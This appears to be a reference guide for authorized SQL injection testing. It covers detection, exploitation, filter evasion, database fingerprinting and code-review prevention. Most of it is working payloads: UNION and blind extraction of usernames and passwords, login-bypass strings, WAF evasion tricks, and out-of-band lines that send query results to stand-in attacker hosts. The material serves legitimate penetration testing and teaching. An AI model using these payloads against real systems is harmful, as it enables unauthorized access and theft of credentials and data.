SQL Injection Testing

Perform authorized security tests to detect, exploit, and validate defenses against SQL injection vulnerabilities in web applications.

Comprehensive SQL injection vulnerability assessment techniques for web applications, covering detection, exploitation, and defense validation.

Description

USE WHEN:

• Testing for SQL injection vulnerabilities
• Performing authorized penetration tests
• Validating input sanitization mechanisms
• Bypassing authentication for security testing
• Extracting database information (authorized)
• Learning SQL injection defense

DON'T USE WHEN:

• No written authorization for testing
• Testing production systems with real user data
• Intent is malicious (don't be evil)

⚠️ LEGAL REQUIREMENT: Written penetration testing authorization required before use.

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Detection Phase

Injection Point Identification

Common injectable parameters:

text

URL params:    ?id=1, ?user=admin, ?category=books
Form fields:   username, password, search, comments
Cookies:       session_id, user_preference
HTTP headers:  User-Agent, Referer, X-Forwarded-For

Basic Vulnerability Tests

sql

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

Watch for:

• Database error messages
• HTTP 500 errors
• Modified response content/length
• Unexpected behavior changes

Boolean Logic Tests

sql

-- True condition (should return data)
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition (should return nothing/error)
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true/false to confirm injection.

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Exploitation Techniques

UNION-Based Extraction

sql

-- Step 1: Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Step 2: Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Step 3: Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Error-Based Extraction

sql

-- MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL (XPATH)
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL
1' AND 1=CAST((SELECT version()) AS int)--

Blind Boolean-Based

sql

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

Time-Based Blind

sql

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

Out-of-Band (OOB)

sql

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

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Authentication Bypass

sql

-- Classic bypass payloads
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Query transformation example
-- Original: SELECT * FROM users WHERE username='input' AND password='input'
-- Injected (username: admin'--):
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed!

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Filter Bypass Techniques

Character Encoding

sql

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Hex strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin'

Whitespace Alternatives

sql

-- Comment substitution
SELECT/**/username/**/FROM/**/users

-- Tab character
SELECT%09username%09FROM%09users

-- Newline
SELECT%0Ausername%0AFROM%0Ausers

Keyword Evasion

sql

-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

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Database Fingerprinting

Database	Version Query
MySQL	SELECT @@version or SELECT version()
MSSQL	SELECT @@version
PostgreSQL	SELECT version()
Oracle	SELECT banner FROM v$version
SQLite	SELECT sqlite_version()

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Information Schema Queries

sql

-- MySQL/MSSQL: List tables
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

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Quick Reference

Purpose	Payload
Basic test	' or "
Boolean true	OR 1=1--
Boolean false	AND 1=2--
Comment (MySQL)	# or --
Comment (MSSQL)	--
UNION probe	UNION SELECT NULL--
Time delay	AND SLEEP(5)--
Auth bypass	' OR '1'='1

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Detection Test Sequence

text

1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

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Prevention (What to Look For in Code Review)

❌ Vulnerable

javascript

const query = `SELECT * FROM users WHERE id = '${userId}'`;

✅ Safe

javascript

// Parameterized query
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);

// OR use ORM
const user = await prisma.user.findUnique({ where: { id: userId } });

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Tools

• SQLMap: Automated SQL injection
• Burp Suite: Request manipulation
• OWASP ZAP: Web app scanner
• Havij: SQL injection tool

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Troubleshooting

Problem	Solution
No error messages	Use blind injection (boolean/time-based)
UNION fails	Check column count with ORDER BY
WAF blocking	Use encoding/evasion techniques
Payload not executing	Verify correct comment syntax for DB type
Time-based inconsistent	Use longer delays (10+ seconds)

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Ethical Guidelines

• Never execute destructive queries (DROP, DELETE) without explicit authorization
• Limit data extraction to proof-of-concept quantities
• Stop immediately upon detecting production data
• Report critical vulnerabilities through agreed channels
• Document all activities for audit trail